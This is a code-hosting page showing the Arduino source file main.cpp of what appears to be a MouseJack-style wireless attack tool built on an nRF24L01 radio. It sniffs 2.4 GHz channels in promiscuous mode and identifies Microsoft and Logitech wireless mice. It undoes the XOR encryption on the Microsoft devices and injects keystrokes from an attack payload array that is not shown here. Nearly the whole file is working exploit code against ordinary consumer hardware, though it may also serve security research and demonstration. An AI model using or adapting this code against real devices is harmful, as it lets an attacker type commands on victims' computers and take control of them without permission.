-
Notifications
You must be signed in to change notification settings - Fork 61
Expand file tree
/
Copy pathmain.cpp
More file actions
471 lines (409 loc) · 11.3 KB
/
main.cpp
File metadata and controls
471 lines (409 loc) · 11.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
#include "Arduino.h"
#include <SPI.h>
#include "nRF24L01.h"
#include "RF24.h"
#include "attack.h"
#define CE 5
#define CSN 6
#define PKT_SIZE 37
#define PAY_SIZE 32
#define MICROSOFT 1
#define LOGITECH 2
RF24 radio(CE, CSN);
long time_;
int ledpin = 13;
uint64_t promisc_addr = 0xAALL;
uint8_t channel = 25;
uint64_t address;
uint8_t payload[PAY_SIZE];
uint8_t payload_size;
bool payload_encrypted = false;
uint8_t payload_type = 0;
uint16_t sequence;
void print_payload_details()
{
Serial.print("ch: ");
Serial.print(channel);
Serial.print(" s: ");
Serial.print(payload_size);
Serial.print(" a: ");
for (int j = 0; j < 5; j++)
{
Serial.print((uint8_t)(address >> (8 * j) & 0xff), HEX);
Serial.print(" ");
}
Serial.print(" p: ");
for (int j = 0; j < payload_size; j++)
{
Serial.print(payload[j], HEX);
Serial.print(" ");
}
Serial.println("");
return;
}
// Update a CRC16-CCITT with 1-8 bits from a given byte
uint16_t crc_update(uint16_t crc, uint8_t byte, uint8_t bits)
{
crc = crc ^ (byte << 8);
while(bits--)
if((crc & 0x8000) == 0x8000) crc = (crc << 1) ^ 0x1021;
else crc = crc << 1;
crc = crc & 0xFFFF;
return crc;
}
uint8_t writeRegister(uint8_t reg, uint8_t value)
{
uint8_t status;
digitalWrite(CSN, LOW);
status = SPI.transfer( W_REGISTER | ( REGISTER_MASK & reg ) );
SPI.transfer(value);
digitalWrite(CSN, HIGH);
return status;
}
uint8_t writeRegister(uint8_t reg, const uint8_t* buf, uint8_t len)
{
uint8_t status;
digitalWrite(CSN, LOW);
status = SPI.transfer( W_REGISTER | ( REGISTER_MASK & reg ) );
while (len--)
SPI.transfer(*buf++);
digitalWrite(CSN, HIGH);
return status;
}
bool transmit()
{
print_payload_details();
radio.write(payload, payload_size);
return true;
}
void scan() {
Serial.println("starting scan...");
int x, offset;
uint8_t buf[PKT_SIZE];
uint16_t wait = 100;
uint8_t payload_length;
uint16_t crc, crc_given;
// the order of the following is VERY IMPORTANT
radio.setAutoAck(false);
// radio.setPALevel(RF24_PA_MIN);
// radio.setDataRate(RF24_2MBPS);
writeRegister(RF_SETUP, 0x09); // Disable PA, 2M rate, LNA enabled
radio.setPayloadSize(32);
radio.setChannel(channel);
// RF24 doesn't ever fully set this -- only certain bits of it
writeRegister(EN_RXADDR, 0x00);
// RF24 doesn't have a native way to change MAC...
// 0x00 is "invalid" according to the datasheet, but Travis Goodspeed found it works :)
writeRegister(SETUP_AW, 0x00);
radio.openReadingPipe(0, promisc_addr);
radio.disableCRC();
radio.startListening();
//radio.printDetails();
while (1) {
channel++;
if (channel > 84) {
Serial.println("starting channel sweep");
digitalWrite(ledpin, HIGH);
channel = 2;
}
if (channel == 4) {
digitalWrite(ledpin, LOW);
}
if (channel == 42) {
digitalWrite(ledpin, HIGH);
}
if (channel == 44) {
digitalWrite(ledpin, LOW);
}
//Serial.print("tuning radio to ");
//Serial.println(2400 + channel);
radio.setChannel(channel);
time_ = millis();
while (millis() - time_ < wait)
{
if (radio.available())
{
radio.read(&buf, sizeof(buf));
// In promiscuous mode without a defined address prefix, we attempt to
// decode the payload as-is, and then shift it by one bit and try again
// if the first attempt did not pass the CRC check. The purpose of this
// is to minimize missed detections that happen if we were to use both
// 0xAA and 0x55 as the nonzero promiscuous mode address bytes.
for (offset = 0; offset < 2; offset++) {
// Shift the payload right by one bit if this is the second pass
if (offset == 1) {
for (x = 31; x >= 0; x--) {
if (x > 0) buf[x] = buf[x - 1] << 7 | buf[x] >> 1;
else buf[x] = buf[x] >> 1;
}
}
// Read the payload length
payload_length = buf[5] >> 2;
// Check for a valid payload length, which is less than the usual 32 bytes
// because we need to account for the packet header, CRC, and part or all
// of the address bytes.
if (payload_length <= (PAY_SIZE-9))
{
// Read the given CRC
crc_given = (buf[6 + payload_length] << 9) | ((buf[7 + payload_length]) << 1);
crc_given = (crc_given << 8) | (crc_given >> 8);
if (buf[8 + payload_length] & 0x80) crc_given |= 0x100;
// Calculate the CRC
crc = 0xFFFF;
for (x = 0; x < 6 + payload_length; x++) crc = crc_update(crc, buf[x], 8);
crc = crc_update(crc, buf[6 + payload_length] & 0x80, 1);
crc = (crc << 8) | (crc >> 8);
// Verify the CRC
if (crc == crc_given) {
Serial.print("found packet /w valid crc... ");
if (payload_length > 0) {
Serial.print("payload length is ");
Serial.println(payload_length);
// Write the address
address = 0;
for (int i = 0; i < 4; i++)
{
address += buf[i];
address <<= 8;
}
address += buf[4];
// Write the ESB payload to the output buffer
for(x = 0; x < payload_length + 3; x++)
payload[x] = ((buf[6 + x] << 1) & 0xFF) | (buf[7 + x] >> 7);
payload_size = payload_length;
print_payload_details();
return;
} else {
Serial.println("payload is empty. scanning...");
}
}
}
}
}
}
}
}
void start_transmit()
{
radio.stopListening();
radio.openWritingPipe(address);
radio.openReadingPipe(1, address);
radio.setAutoAck(true);
radio.setPALevel(RF24_PA_MAX);
radio.setDataRate(RF24_2MBPS);
radio.setPayloadSize(32);
radio.enableDynamicPayloads();
writeRegister(SETUP_AW, 0x03); // Reset addr size to 5 bytes
radio.setRetries(5,15); // retransmission: interval and count
radio.setChannel(channel);
return;
}
// decrypt those keyboard packets!
void ms_crypt()
{
for (int i = 4; i < payload_size; i++)
payload[i] ^= address >> (((i - 4) % 5) * 8) & 0xFF;
}
// calculate microsoft wireless keyboard checksum
void ms_checksum()
{
int last = payload_size - 1;
payload[last] = 0;
for (int i = 0; i < last; i++)
payload[last] ^= payload[i];
payload[last] = ~payload[last];
}
void fingerprint()
{
if (payload_size == 19 && payload[0] == 0x08 && payload[6] == 0x40) {
Serial.println("found MS mouse");
payload_type = MICROSOFT;
return;
}
if (payload_size == 19 && payload[0] == 0x0a) {
Serial.println("found MS encrypted mouse");
payload_type = MICROSOFT;
payload_encrypted = true;
return;
}
if (payload[0] == 0) {
if (payload_size == 10 && (payload[1] == 0xC2 || payload[1] == 0x4F))
payload_type = LOGITECH;
if (payload_size == 22 && payload[1] == 0xD3)
payload_type = LOGITECH;
if (payload_size == 5 && payload[1] == 0x40)
payload_type = LOGITECH;
if (payload_type == LOGITECH) Serial.println("found Logitech mouse");
}
return;
}
void ms_transmit(uint8_t meta, uint8_t hid) {
if (payload_encrypted) ms_crypt();
for (int n = 4; n < payload_size; n++)
payload[n] = 0;
payload[4] = sequence & 0xff;
payload[5] = sequence >> 8 & 0xff;
payload[6] = 67;
payload[7] = meta;
payload[9] = hid;
ms_checksum();
if (payload_encrypted) ms_crypt();
// send keystroke (key down)
transmit();
delay(5);
sequence++;
if (payload_encrypted) ms_crypt();
for (int n = 4; n < payload_size; n++)
payload[n] = 0;
payload[4] = sequence & 0xff;
payload[5] = sequence >> 8 & 0xff;
payload[6] = 67;
ms_checksum();
if (payload_encrypted) ms_crypt();
// send null keystroke (key up)
transmit();
delay(5);
sequence++;
return;
}
void log_checksum() {
uint8_t cksum = 0xff;
int last = payload_size - 1;
for (int n = 0; n < last; n++)
cksum -= payload[n];
cksum++;
payload[last] = cksum;
}
void log_transmit(uint8_t meta, uint8_t keys2send[], uint8_t keysLen) {
// setup empty payload
payload_size = 10;
for (int n; n < payload_size; n++)
payload[n] = 0;
// prepare key down frame
payload[1] = 0xC1;
payload[2] = meta;
for (int q = 0; q < keysLen; q++)
payload[3+q] = keys2send[q];
log_checksum();
// send key down
transmit();
delay(5);
// prepare key up (null) frame
payload[2] = 0;
payload[3] = 0;
payload[4] = 0;
payload[5] = 0;
payload[6] = 0;
payload[7] = 0;
payload[8] = 0;
log_checksum();
// send key up
transmit();
delay(5);
return;
}
void launch_attack() {
Serial.println("starting attack");
if (payload_type) {
Serial.println("payload type is injectable");
digitalWrite(ledpin, HIGH);
start_transmit();
uint8_t meta = 0;
uint8_t hid = 0;
uint8_t wait = 0;
int offset = 0;
uint8_t keys2send[6];
uint8_t keysLen = 0;
int keycount = sizeof(attack) / 3;
sequence = 0;
// this is to sync the new serial
if (payload_type == MICROSOFT) {
for (int i = 0; i < 6; i++) {
ms_transmit(0, 0);
}
}
// now inject the hid codes
for (int i = 0; i <= keycount; i++)
{
offset = i * 3;
meta = attack[offset];
hid = attack[offset + 1];
wait = attack[offset + 2];
if (payload_type == LOGITECH) {
if (meta) {
if (keysLen > 0) {
log_transmit(0, keys2send, keysLen);
keysLen = 0;
}
keys2send[0] = hid;
log_transmit(meta, keys2send, 1);
keysLen = 0;
} else if (hid) {
Serial.print("hid code: ");
Serial.println(hid);
bool dup = false;
for (int j = 0; j < keysLen; j++) {
if (keys2send[j] == hid)
dup = true;
}
if (dup) {
log_transmit(meta, keys2send, keysLen);
keys2send[0] = hid;
keysLen = 1;
} else if (keysLen == 5) {
keys2send[5] = hid;
keysLen = 6;
log_transmit(meta, keys2send, keysLen);
keysLen = 0;
} else {
keys2send[keysLen] = hid;
keysLen++;
}
} else if (wait) {
if (keysLen > 0) {
log_transmit(meta, keys2send, keysLen);
keysLen = 0;
}
Serial.println("waiting");
delay(wait << 4);
}
if (i == keycount && keysLen > 0) {
log_transmit(meta, keys2send, keysLen);
}
}
if (payload_type == MICROSOFT) {
if (hid) {
Serial.print("sending hid code: ");
Serial.println(hid);
ms_transmit(meta, hid);
}
if (wait) {
Serial.println("waiting");
delay(wait << 4);
}
}
}
digitalWrite(ledpin, LOW);
}
return;
}
void reset() {
payload_type = 0;
payload_encrypted = false;
payload_size = 0;
for (int i = 0; i < PAY_SIZE; i++) {
payload[i] = 0;
}
radio.begin();
}
void setup() {
Serial.begin(115200);
pinMode(ledpin, OUTPUT);
digitalWrite(ledpin, LOW);
}
void loop() {
reset();
scan();
fingerprint();
launch_attack();
}